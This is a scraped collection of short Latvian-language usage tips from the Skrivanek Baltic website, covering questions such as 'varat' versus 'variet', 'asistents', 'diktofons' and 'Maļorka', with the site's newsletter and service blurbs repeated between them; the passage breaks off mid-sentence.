Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Esmu drošs, ka variet to atļauties vai, ka varat to atļauties? Ieskaties un uzzini! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-10-23 - URL: https://skrivanek.lv/variet-pret-varat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VARIET PRET VARAT 1 Kurš variants ir pareizs? „Esmu drošs, ka variet to atļauties. ” „Esmu drošs, ka varat to atļauties. ” Trešās konjugācijas darbības vārdam „varēt” ir divas galvenās nozīmes – būt tādam, kas spēj (ko darīt), būt iespējamam, un drīkstēt. Sarunvalodā un nereti arī rakstiskos tekstos manāms, ka tiek jaukts šī vārda otrās personas daudzskaitļa formas lietojums – gadījumos, kad nepieciešams izmantot īstenības izteiksmi, ir izmantota pavēles izteiksmes forma. Īstenības izteiksme raksturo situāciju kā realitāti tagadnē, nākotnē vai pagātnē vai arī attiecīgi noliedz to – kā apgalvojums, fakta konstatācija: „Varat doties. ” Savukārt darbības vārds pavēles izteiksmē pauž pavēli, rosinājumu: „Variet iet, kur deguns rāda! ” Tātad pareizais variants ir: „Esmu drošs, ka varat to atļauties. ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Jaunieši apmeklē tekvondo, teikvondo vai teikvando treniņus? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/tekvondo-pret-teikvondo-pret-teikvando/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TEKVONDO PRET TEIKVONDO PRET TEIKVANDO 1 Jaunieši apmeklē tekvondo, teikvondo vai teikvando treniņus? Dažādās vārdnīcās vārda rakstība atšķiras, tomēr Valsts valodas centra Latviešu valodas ekspertu komisija 2011. gada sēdē lēma, ka austrumu cīņas sporta veidu, kurā izmanto dažādus sitienus ar rokām un kājām, latviešu valodā atveido kā „tekvondo”. Tātad jaunieši apmeklē tekvondo treniņus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Spānijai piederošā sala ir Maljorka vai Maļorka? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-09-02 - URL: https://skrivanek.lv/maljorka-pret-malorka/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MALJORKA PRET MAĻORKA 1 Spānijai piederošā sala ir Maljorka vai Maļorka? Svešvārdu un citvalodu īpašvārdu atveide latviešu valodā nereti var mulsināt, sevišķi, ja gadiem ilgi šie vārdi atveidoti citādi. Latviskojot vietvārdus, valodnieki ņem vērā būtisku kritēriju – vārda izrunu oriģinālvalodā. Oriģinālvalodas skaņu atdarināšana, pielāgojot tās latviešu valodas izrunai un rakstzīmēm, nereti valodniekiem gan sagādā grūtības, un dažādu iemeslu dēļ var nākties mainīt jau reiz atveidotu vietvārdu. Tā noticis arī ar katalāņu izcelsmes vietvārda Maļorka (Mallorca) atveidi latviešu valodā. Šādu salas apzīmējumu ieviesa karšu izdevniecības “Jāņa sēta” speciālisti jau 2008. gadā. Tātad Spānijai piederošā sala ir Maļorka. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Veikalā notiks inventarizācija vai inventerizācija? Uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-10-18 - URL: https://skrivanek.lv/inventarizacija-pret-inventerizacija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional INVENTARIZĀCIJA PRET INVENTERIZĀCIJA 1 Veikalā notiks inventarizācija vai inventerizācija? Uzņēmuma, iestādes vai organizācijas mantas, naudas līdzekļu un norēķinu periodisku pārbaudi, reģistrāciju un salīdzināšanu ar grāmatvedības datiem latviešu valodā apzīmē ar vārdu „inventarizācija” (arī inventūra). Tas aizgūts no vācu vārda Inventarisation. Dokuments, kurā apkopoti inventarizācijas rezultāti, ir inventarizācijas akts. Tātad veikalā notiks inventarizācija. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādos gadījumos lietosim darba diena, darbadiena un darbdiena? Ieskaties un uzzini atbildi! Daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2025-03-31 - URL: https://skrivanek.lv/darba-diena-pret-darbadiena-pret-darbdiena/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DARBA DIENA PRET DARBADIENA PRET DARBDIENA 1 Kādos gadījumos lietosim „darba diena”, „darbadiena” un „darbdiena? ” Darba diena ir diena, kad persona, iestāde, birojs vai uzņēmums strādā, un tā var būt arī sestdiena vai svētdiena. Darbadiena ir darbam paredzētā diennakts daļa – ilgums vai laiks, kas tiek pavadīts darbavietā. Normāla darbadiena parasti ilgst astoņas stundas. Savukārt darbdiena ir diena, kas nav brīvdiena vai svētku diena. Tātad varam teikt, ka sekretāres darba diena ir katru darbdienu un viņas darbadiena ilgst no 9. 00 līdz 17. 00. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Cilvēks ir tikumīgs vai tikumisks? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/tikumigs-pret-tikumisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TIKUMĪGS PRET TIKUMISKS 1 Cilvēks ir tikumīgs vai tikumisks? Tikumības jēdziens mūsdienu sabiedrībā nereti asociējas ar šķīstumu un tiklumu. Tomēr tas ietver daudz dziļāku un daudzšķautņaināku skaidrojumu: tikumība ir sabiedrības vairākuma noteikti un akceptēti priekšstati, piemēram, par ētisku indivīda rīcību, kas dod labumu sabiedrībai kopumā. Tie ir morāles principi, kas regulē cilvēku savstarpējās attiecības un pienākumus vienam pret otru. Šī izpratne lielākoties sakņojas tautas kultūrā un dzīvesziņā. Būt tikumīgam attiecīgi nozīmē būt tādam, kam piemīt augsta morāle, kura rīcība, izturēšanās atbilst sabiedrības vairākuma atzītajām tikumības normām un kam ir raksturīgas pozitīvas, tikumības normām atbilstošas īpašības, piemēram, „tikumīga sieviete”. Savukārt tikumisks ir kaut kas, kas saistīts ar tikumiem un tikumību, tai raksturīgs, piemēram, „tikumiska audzināšana”. Tātad cilvēks ir tikumīgs, bet cilvēka uzvedība ir tikumiska. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai direktoram ir asistants vai asistents? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-09-12 - URL: https://skrivanek.lv/asistants-pret-asistents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ASISTANTS PRET ASISTENTS 1 Vai direktoram ir asistants vai asistents? Asistents ir speciālista palīgs, arī darba galvenā, atbildīgā veicēja palīgs. Vārda pamatā ir latīņu darbības vārda divdabja formas „assistens”, ģenitīvā „assistentis” ar nozīmi 'tas, kas stāv klāt, kas palīdz'. Lai gan arī latīņu valodā vārda izskaņā ir patskanis „e”, tomēr latviešu valodā šo vārdu mēdz rakstīt „asistants”, visticamāk, citu valodu ietekmē, piemēram, angļu un franču valodā vārdu raksta „assistant”, turklāt latviešu valodā ir arī vārdi „konsultants”, „maģistrants” vai „reflektants”, kur izskaņā ir patskanis „a”. Tomēr jāatceras, ka vārds „asistents” rakstāms un izrunājams ar „e” izskaņā. Tātad direktoram ir asistents. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ierakstīsim sarunu diktafonā vai diktofonā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/diktafons-pret-diktofons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DIKTAFONS PRET DIKTOFONS 1 Vai ierakstīsim sarunu diktafonā vai diktofonā? Nelielu magnetofonu runas ierakstīšanai un atskaņošanai sauc par diktofonu. Vārds aizgūts no vācu „Diktaphon”, kam pamatā latīņu „dictare” ar nozīmi 'diktēt' un grieķu „phōnē” ar nozīmi 'skaņa'. Iespējams, vācu valodas vārda ietekmē vārds reizēm rakstīts ar patskani „a” (sevišķi 20. gadsimta pirmajā pusē). Tomēr latviešu valodā vārdos pirms izskaņas „-fons” tiek rakstīts patskanis „o”, nevis „a”: „magnetofons”, „mikrofons”, arī „diktofons”. Tātad sarunu ierakstīsim diktofonā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ziemeļamerikā plosās tornado vai tornādo? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-11-04 - URL: https://skrivanek.lv/tornado-pret-tornado/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TORNADO PRET TORNĀDO 1 Ziemeļamerikā plosās tornado vai tornādo? Postošo dabas stihiju, kuras spēku lielākoties izjūt Ziemeļamerikas iedzīvotāji, latviski dēvējam gan par viesuļvētru, gan virpuļviesuli, gan virpuļvētru. Tomēr ikdienā nereti lietojam arī aizguvumu no angļu vārda „tornado”, kam oriģinālvalodā ir tāda pati nozīme – virpuļviesulis jeb piltuvveidīgs atmosfēras virpulis ar lielu ātrumu. Latviešu valodā šis svešvārds rakstāms ar garo „ā” – „tornādo” (ar otrās zilbes uzsvaru). Tātad Ziemeļamerikā plosās tornādo. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Viņš atbrauca ap vieniem diviem naktī vai ap vieniem, diviem naktī? Vai šajā gadījumā ir jāliek komats? Ieskaties un uzzini pareizo atbildi! - Published: 2020-05-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/ap-vieniem-diviem-nakti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AP VIENIEM DIVIEM NAKTĪ PRET AP VIENIEM, DIVIEM NAKTĪ 1 Viņš atbrauca ap vieniem diviem naktī. Viņš atbrauca ap vieniem, diviem naktī. Lai arī ierasts, ka starp vienlīdzīgiem teikuma locekļiem, kas paskaidro vienu un to pašu vārdu, liekams komats, tomēr jāatceras – ja divi skaitļa vārdi blakus izsaka nenoteiktu, aptuvenu daudzumu, komatu starp tiem neliek. Tātad rakstīsim šādi: “Viņš atbrauca ap vieniem diviem naktī. ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rožu šķirne “Smaida” vai 'Smaida'? Ienāc un uzzini kādos gadījumos lieto vienpēdiņas. Apskati arī citus noderīgus latviešu valodas padomus! - Published: 2020-05-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/rozu-skirne-smaida/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ROŽU ŠĶIRNE “SMAIDA” PRET ROŽU ŠĶIRNE ‘SMAIDA’ 1 Tirgū iegādājos rožu šķirnes “Smaida” stādus. Tirgū iegādājos rožu šķirnes ‘Smaida’ stādus. Vienpēdiņas ir samērā jauna pieturzīme. Šo rakstzīmi izmanto, pirmkārt, lauksaimniecības un dārzkopības jomā, norādot augu vai dzīvnieku šķirņu nosaukumus, un, otrkārt, vārdu nozīmju paskaidrojumu (piemēram, skroderis ‘drēbnieks’) grafiskai atveidošanai. Tātad tirgū iegādājos rožu šķirnes ‘Smaida’ stādus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mūsdienās šāds prievārda „no” lietojums vairs netiek uzskatīts par nevēlamu un ir kļuvis par valodas normu. Šis un citi latviešu valodas padomi vienuviet. - Published: 2020-05-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/puse-no-negadijumiem-pret-puse-negadijumu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PUSE NO NEGADĪJUMIEM VAI PUSE NEGADĪJUMU 1 Gandrīz puse no negadījumiem notiek Rīgā. Gandrīz puse negadījumu notiek Rīgā. Valoda ir mainīga, un šī attīstības procesa ietekmē mainās arī gramatika. Tādējādi nereti tādi izteiksmes līdzekļi, kas savulaik uzskatīti par liekiem, mūsdienu latviešu valodas leksikā iemantojuši stabilu vietu. Labs piemērs ir prievārda „no” lietojums, piemēram, šādos gadījumos: „puse no darbiniekiem strādā”, „katrs no gadījumiem ir īpašs”, „daži no skolēniem traucē”, „daļa no apmeklētājiem sarunājas”. Kādreiz šī valodas konstrukcija tika uzskatīta par nevēlamu – lai izvairītos no liekvārdības, par ieteicamāku uzskatīja konstrukciju, kur prievārdu neizmanto: „puse darbinieku strādā”, „katrs gadījums ir īpašs”, „daži skolēni traucē”, „daļa apmeklētāju sarunājas”. Taču Mūsdienu latviešu valodas vārdnīcā šķirklī ‘puse’ kā piemēri minēti abi varianti: „Puse no ābola. Puse istabas jau 